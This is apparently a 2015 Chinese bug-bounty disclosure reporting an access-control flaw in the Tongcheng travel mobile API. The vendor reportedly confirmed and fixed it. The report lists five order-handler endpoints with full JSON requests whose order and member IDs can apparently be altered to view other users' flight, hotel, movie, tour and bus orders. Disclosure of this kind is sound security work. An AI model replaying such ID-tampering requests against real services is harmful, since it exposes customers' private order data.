漏洞详情

披露状态:

2015-08-28: 细节已通知厂商并且等待厂商处理中
2015-08-28: 厂商已经确认,细节仅向厂商公开
2015-08-28: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

高rank 送京东礼品卡 小激动

详细说明:

在某处看到同程移动端求测的状态我就来了,高rank 送京东礼品卡

1.png


类似一样的漏洞 以前在某处提交过 厂商说此问题之前有发现,评级低!
怎么现在有出现这种问题了呢? 羞羞的
UARL: http://tcmobileapi.17usoft.com/memberextend/
1.机票接口地址:http://tcmobileapi.17usoft.com/flight/orderhandler.ashx
JSON

{
"request" : {
"header" : {
"digitalSign" : "fb4d5cf83d3170ef8f71efde0610212b",
"encryptEffort" : "0",
"reqTime" : "1440739092391",
"serviceName" : "GetFlightOrderdetail",
"version" : "20110303090115",
"accoun<code>

tID" : "5ee7b429-b8c6-400f-8b87-3c384c4ea68a"
},
"body" : {
"orderId" : "137733308",
"endorseSubType" : "11",
"requestType" : "1",
"clientInfo" : {
"refId" : "5866741",
"mac" : "10685e02588a205a100baa911e483423",
"clientIp" : "192.168.1.103",
"networkType" : "wifi",
"extend" : "2^com.tongcheng.iphone,4^8.4,5^iPhone5_2",
"versionType" : "iPhone",
"deviceId" : "4eaf3c51d6b4846d8599c297d9eb94347b64d4f8",
"versionNumber" : "7.5.0"
},
"endorseType" : "1",
"memberId" : "I0_d697650ed0d55a266b81ef6c18fdad5d"
}
}</code>

2.png


JSON输入后点击 提交(>=750) 查询
2.酒店接口地址:http://tcmobileapi.17usoft.com/hotel/orderhandler.ashx
JSON

{
"request" : {
"header" : {
"digitalSign" : "af71d13095e27e443799367b18d892d5",
"encryptEffort" : "0",
"reqTime" : "1440739317648",
"serviceName" : "GetHotelOrderDetail",
"version" : "20110303090115",
"accountID" : "5ee7b429-b8c6-400f-8b87-3c384c4ea68a"
},
"body" : {
"orderSerialId" : "hh55bddu67210024u610",
"clientInfo" : {
"refId" : "5866741",
"mac" : "10685e02588a205a100baa911e483423",
"clientIp" : "192.168.1.103",
"networkType" : "wifi",
"extend" : "2^com.tongcheng.iphone,4^8.4,5^iPhone5_2",
"versionType" : "iPhone",
"deviceId" : "4eaf3c51d6b4846d8599c297d9eb94347b64d4f8",
"versionNumber" : "7.5.0"
},
"UserHKDollor" : "1",
"memberId" : "I0_d697650ed0d55a266b81ef6c18fdad5d"
}
}
}


3.png


3.电影接口地址:http://tcmobileapi.17usoft.com/Movie/OrderHandler.ashx
JSON

{
"request" : {
"header" : {
"digitalSign" : "89e5950cdfa9c0c90d0bf7663c828a4f",
"encryptEffort" : "0",
"reqTime" : "1440739633471",
"serviceName" : "getmovieorderdetailbyorderid",
"version" : "20110303090115",
"accountID" : "5ee7b429-b8c6-400f-8b87-3c384c4ea68a"
},
"body" : {
"orderId" : "150802171133955585",
"clientInfo" : {
"refId" : "5866741",
"mac" : "10685e02588a205a100baa911e483423",
"clientIp" : "192.168.1.103",
"networkType" : "wifi",
"extend" : "2^com.tongcheng.iphone,4^8.4,5^iPhone5_2",
"versionType" : "iPhone",
"deviceId" : "4eaf3c51d6b4846d8599c297d9eb94347b64d4f8",
"versionNumber" : "7.5.0"
}
}
}
}


4.png


4.旅游接口地址:http://tcmobileapi.17usoft.com/scenery/orderhandler.ashx
JSON

{
"request" : {
"header" : {
"digitalSign" : "9c958026282006e90247f5e70d7cd724",
"encryptEffort" : "0",
"reqTime" : "1440739829836",
"serviceName" : "GetOrderDetail",
"version" : "20110303090115",
"accountID" : "5ee7b429-b8c6-400f-8b87-3c384c4ea68a"
},
"body" : {
"ruleType" : "3",
"orderSerialId" : "sz55b003d421002bc765",
"clientInfo" : {
"refId" : "5866741",
"mac" : "10685e02588a205a100baa911e483423",
"clientIp" : "192.168.1.103",
"networkType" : "wifi",
"extend" : "2^com.tongcheng.iphone,4^8.4,5^iPhone5_2",
"versionType" : "iPhone",
"deviceId" : "4eaf3c51d6b4846d8599c297d9eb94347b64d4f8",
"versionNumber" : "7.5.0"
},
"memberId" : "I0_d697650ed0d55a266b81ef6c18fdad5d"
}
}
}


5.png


5汽车票接口地址:http://tcmobileapi.17usoft.com/bus/OrderHandler.ashx
JSON

{
"request" : {
"header" : {
"digitalSign" : "989bb6b18877ad2d5b2e5835da6a8e60",
"encryptEffort" : "0",
"reqTime" : "1440740539249",
"serviceName" : "getbusorderdetail",
"version" : "20110303090115",
"accountID" : "5ee7b429-b8c6-400f-8b87-3c384c4ea68a"
},
"body" : {
"orderId" : "412271",
"clientInfo" : {
"refId" : "5866741",
"mac" : "10685e02588a205a100baa911e483423",
"clientIp" : "192.168.1.103",
"networkType" : "wifi",
"extend" : "2^com.tongcheng.iphone,4^8.4,5^iPhone5_2",
"versionType" : "iPhone",
"deviceId" : "4eaf3c51d6b4846d8599c297d9eb94347b64d4f8",
"versionNumber" : "7.5.0"
}
}
}
}


6.png


还有其他接口我就不测试了 你比我还懂的

漏洞证明:

羞羞的

修复方案:

..........

标签: none

评论已关闭